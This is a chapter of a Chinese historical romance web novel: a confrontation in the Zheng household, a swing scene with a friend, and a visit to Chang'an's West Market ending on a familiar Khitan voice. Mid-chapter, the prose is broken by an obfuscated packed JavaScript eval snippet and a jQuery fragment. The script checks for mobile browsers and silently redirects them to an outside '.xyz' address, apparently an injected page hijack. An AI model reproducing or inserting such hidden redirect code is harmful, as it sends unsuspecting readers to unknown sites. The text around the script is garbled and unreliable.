郑鹤衣瞠目结舌,浑身鲜血直往上涌,瞬间的震惊、尴尬和窘迫过后,只剩下遭到愚弄的羞耻和愤怒。
理智几乎被焚烧殆尽,韦淑芳深夜来访,就是为了让她亲眼看看,什么叫恩爱夫妻情投意合?
还是这一切原本就是郑云川主动策划的……
他们到底想做什么?
他们究竟把她当成什么人了?
她气得声抖气喘,四肢发颤,不假思索地抬脚踹倒了花几,嘶声道:“无耻,下流,不要脸!”
床上的两人像是触电般分开,韦淑芳面红耳赤,哆哆嗦嗦地掩着衣襟,而郑云川如梦初醒,揉了揉眼睛循声望去,待看到怒不可遏,拂袖而去的郑鹤衣时,不由魂飞魄散,骇然道:“小……小鸾……”说着翻身下榻,踉踉跄跄追了出去。
郑鹤衣飞奔下楼,拉起一头雾水的喓喓便要走。
喓喓一抬头看到心急火燎追下来的郑云川,不由踌躇起来。
郑鹤衣恨铁不成钢,狠狠瞪了她一眼,兀自奔了出去。
廊下灯影摇曳,她一脚踩空,惊呼一声扑倒在阶下,膝盖和手掌顿时火辣辣的疼。旁边婢媪围上来想扶,却遭到怒声呵斥,只得讪讪退开。
郑云川追下楼时,仍有些茫然。
郑鹤衣很少来西院,而且从未上过楼,他做梦也不会想到,她竟莫名其妙地出现在自己卧房。他正要奔出去查看时,却被喓喓一把拦住,压低声音道:“外边有人,郎君先整好衣冠。”
“我……”他一时羞愧难当,却又无从解释,只得背过身去忙活。
喓喓神色复杂,忧心忡忡地小跑了出去,却见郑鹤衣挣扎着起身,正一瘸一拐地往外走。
“娘子,等等我。”她追上去要扶,却被郑鹤衣倔强地甩开。
喓喓不知道发生了什么,既不敢问,也不敢猜,正自心急如焚时,终于听到了郑云川的脚步声。
“小鸾……”他疾步赶上来想要拉郑鹤衣的袖子,不料她猛地回身,照着他的脸甩了过去。
清脆的巴掌声在暗夜里无比清晰,喓喓紧紧捂住了嘴,不敢置信地望着他们。
郑云川抬手扶着被打歪的幞头,压下羞愤,低着头讷讷道:“我不知道……我不知道你会来……我……”
“够了,从今往后,你们再也别想把我当猴耍。”她看也不看他,扯着嗓子吼道。
悬在树上的琉璃灯晃了晃,斑驳光影将她天真稚嫩的脸庞照得阴晴不定,除了愤怒和耻辱,更多的则是刻骨的哀凉。
郑云川心如针扎,心知过了此刻,以后再难有说话的机会,忙一把攥住她手腕,苦劝道:“好妹妹,你再听阿兄说最后一句。若是成婚后,太子遇到心仪之人,仍可修成正果。可你不一样,若你对别人心动,就得压抑一辈子。小鸾,你藏不住那么深的心事……”
“我才不会呢,男人有什么好?”郑鹤衣低头在他腕上用力咬了一口,趁他吃痛抽回手夺路而逃……
郑云川的呐喊全堵在喉咙里,只剩下徒劳的叹息。
僵立良久,感到身后有人,回头看去,见韦淑芳正含泪望着他,迟疑着想要挽住他的手臂。他下意识地甩开了,沉下脸道:“淑娘,我算是错看了你。”
韦淑芳泫然欲泣,哀声道:“这一切都是意外……”
郑云川摇了摇头,面无表情道:“小鸾回来之后,你表面上周到妥帖,实则处处提防。我对你推心置腹,你却私下里和大嫂通信,旁敲侧击想拿住小鸾的错处。在我对你坦白,若她无意于婚姻,想供养她一辈子时,你嘴上假意应承,却连夜去找母亲哭诉……”
韦淑芳面色惨白,牙关打颤,只一味摇头否认。
郑云川抬手轻拍了拍她的肩,惨然一笑道:“如今算是遂了你的心愿,你当开怀才是。”说罢举步往外走去,韦淑芳伸手想挽留,却抓了个空,掌中只有流风划过。
**
赐婚诏书最终还是颁布了下来,崇仁坊一时间车水马龙,郑宅外更是门庭若市。
如今的郑鹤衣想找薛成碧,再也不用偷偷摸摸,只需表露出意愿,薛家便会主动派车马来接。
“郑姊姊,你若是进了宫,我们是不是就很难再见了?”楼外秋千架上,薛成碧挽家常髻,着素罗裳青丝裙,两手握着彩绳,转过头依依不舍道。
郑鹤衣从后边揽着她,慢悠悠地推着,笑道:“肯定没那么夸张,逢年过节,你可以进宫去看我呀。”
薛成碧紧张道:“我从未进过宫,就怕一不小心行差踏错,会被人耻笑议论。”
“你这是杞人忧天,等真进了宫你就会发现,你想犯错都没机会呢。因为从头到尾都有人跟着,会指引你哪里能去,哪里不能去。”郑鹤衣把玩着她颈上璎珞,安慰道:“何况到时候有我罩着,谁敢找你的不是?”
薛成碧心下一暖,将脸偎在她小臂上,甜甜道:“那我从现在起,就开始等着喽。”
“不会太久的。”郑鹤衣捏了捏她肉嘟嘟的脸蛋,笑吟吟道。
“定了吗?”薛成碧有些惊诧,印象中公主出降、皇子娶亲都得准备个一年半载,何况是太子。
郑鹤衣摇头道:“还没有呢,但是我听说……”她俯在薛成碧耳畔,悄声道:“天子病情时好时坏,不敢准备太久。”
薛成碧恍然大悟,难怪太子妃人选这么快就出来了,大约是有冲喜之意?想透了这一层,心底深处那缕不忿也略有所平,当即亲昵地挽住了她的手,娇嗔道:“听说姊姊近日结交了新友,他日可莫把我忘到脑后了。”
郑鹤衣有些不好意思,辩解道:“这哪能一样?她们都是我父兄同僚的亲眷,不过是按礼接待罢了。说到朋友,没人能越得过你。”
薛成碧难掩激喜,起身将她按到秋千上,拍手道:“姊姊快荡一回,我还想看你像飞鸟一样高。”
郑鹤衣拗不过,便攀着彩绳忽的站起身,唤喓喓来推。
“娘子可别玩太久,咱们一会儿还要去西市。”喓喓笑嘻嘻提醒道。
“不会的,”郑鹤衣再三保证道:“我答应你的事,何时失言过?”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16070795|176267||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
听到西市,薛成碧也有些心痒,可她一年都出不了几次门,哪敢做此奢望?如今只能盼着郑鹤衣快些成婚,这样或许有机会能进宫找她。
耳畔风声呼呼,就听得婢女们尖叫连连,抬头望去,郑鹤衣早已荡到了半空,绯色裙裾如帆招展,像壁画上展翅高飞的朱雀。
两条彩绳咯吱作响,绷得比弓弦还紧。
薛成碧眼看她荡得和横梁齐高,心差点跳出嗓子眼,忙高呼道:“郑姊姊,小心点……”
郑鹤衣耳畔只有风声,百忙中垂眸能看见众人仰成一片的惊慌面孔,再抬眼时,流云几乎触手可及,就连廊檐下的铜铃声似乎都到了脚下,她心跳如狂,既紧张又兴奋,于是鼓足了劲头,荡至最高处时,裙角已经越过了横梁。
众人的惊呼声被风扯得七零八碎,就连廊下鹦鹉也惊地扑棱棱飞起来,依稀听到薛成碧的哭声,她这才缓了下来。
刚一落下地,薛成碧便抱住她手臂,脸色发白,呜咽着道:“太吓人了,郑姊姊,你如今可是准太子妃,若在我家里有个三长两短,我们全家都别活了。”
郑鹤衣喘匀了气,搂住她的肩安慰道:“怕什么?我心里有数。”
薛成碧仍心有余悸,拉她进屋洗漱擦汗,重新理妆,郑鹤衣记着和喓喓的约定,也没敢久留,稍事休息便即告辞。
**
长安西市热闹喧阗,她们照例去了胡商云集的大秦寺附近。
这一带鱼龙混杂,有安息香铺、大秦宝镜坊、粟特酒肆、骆驼炙店还有回纥马市、鞑靼皮货行等。
初夏时节来算得上遭罪了,小巷狭窄,空气炙闷潮湿,充斥着皮革、香料、马粪和汗味,路上鲜少有妙龄少女或贵妇往来,故而装束华贵又未戴幂篱的郑鹤衣尤为显眼。
她自己不甚在意,可急坏了暗中保护的郑家仆从。
“那家店真的有松子糖?”她抹了把额上的薄汗问道。
喓喓点头如鸡啄米,“店主上回亲口说的,难道还有假?算算日子,也该到货了。”
“如果有松子糖,必定也有榛子酥,”郑鹤衣想到幼时的常见零食,不由砸了砸嘴巴,笑眯眯道:“我们多买点,让阿碧也尝尝鲜。”
“那边的特产,薛娘子未必就能吃的惯。”喓喓说着,眼神却被路边摊位上明晃晃的东西吸引了,惊呼道:“娘子快看,这是渤海国的珍珠项链,哎呀,这柄骨雕镶玛瑙的匕首也是辽东风格。”
郑鹤衣抬起头,看到门两边悬挂着柞蚕丝软甲、靺鞨皮革、紫貂裘等,皆是以前最常见之物,不觉有些愣神。
她鬼使神差般走上前去,门口的佣保满脸堆笑,热络地招呼着。郑鹤衣心不在焉地接过他捧上来的一串红玛瑙,不知何故,心里一阵阵发紧。
“靺鞨马鞍不镶海东青睛,就像长安贵人喝酪浆不放盐。”狭小逼仄的店铺里响起一句流利的契丹语,爽朗低沉,带着令她灵魂战栗的熟稔感。
郑鹤衣浑身剧震,手中玛瑙串应声而断,随着佣保的惊呼,滴溜溜滚落满地。